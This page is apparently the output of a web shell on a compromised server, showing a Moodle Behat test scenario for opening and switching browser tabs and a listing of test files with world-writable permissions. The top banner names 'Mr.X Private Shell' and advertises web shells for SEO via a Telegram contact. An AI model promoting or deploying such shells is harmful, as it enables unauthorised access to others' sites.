__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
@tool_behat
Feature: Confirm that we can open multiple browser tabs
In order to use multiple browser tabs
As a test writer
I need the relevant Behat steps to work
@javascript @_switch_window
Scenario: Open multiple browser tabs
Given the following "courses" exist:
| fullname | shortname |
| Course 1 | C1 |
| Course 2 | C2 |
| Course 3 | C3 |
And I am on the "C1" "Course" page logged in as "admin"
# Open a new tab on the same page.
When I open a tab named "CourseViewer1" on the current page
And I should see "Course 1" in the "h1" "css_element"
And I am on the "C2" "Course" page
# Open new tab for specified page with identifier.
And I open a tab named "CourseViewer2" on the "C3" "Course" page
# And for a specified page without identifier.
And I open a tab named "CourseViewer4" on the "My courses" page
# Switch between all the tabs and confirm their different contents.
Then I should see "You're not enrolled in any courses."
And I switch to "CourseViewer2" tab
And "Course 3" "heading" should exist
And I switch to "CourseViewer1" tab
And "Course 2" "heading" should exist
And I switch to the main tab
And "Course 1" "heading" should exist
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| fixtures | Folder | 0777 |
|
|
| data_generators.feature | File | 18.61 KB | 0777 |
|
| datetime_strings.feature | File | 1.08 KB | 0777 |
|
| edit_permissions.feature | File | 4.66 KB | 0777 |
|
| frozen_clock.feature | File | 3.16 KB | 0777 |
|
| get_and_set_fields.feature | File | 10.72 KB | 0777 |
|
| get_and_set_fields_in_containers.feature | File | 1.5 KB | 0777 |
|
| i_am_on_page.feature | File | 5.21 KB | 0777 |
|
| inplaceeditable.feature | File | 1.29 KB | 0777 |
|
| keyboard.feature | File | 1.93 KB | 0777 |
|
| list_steps.feature | File | 1.88 KB | 0777 |
|
| loginout.feature | File | 4.4 KB | 0777 |
|
| manipulate_forms.feature | File | 1.2 KB | 0777 |
|
| nasty_strings.feature | File | 2.4 KB | 0777 |
|
| tabs.feature | File | 1.25 KB | 0777 |
|
| test_environment.feature | File | 304 B | 0777 |
|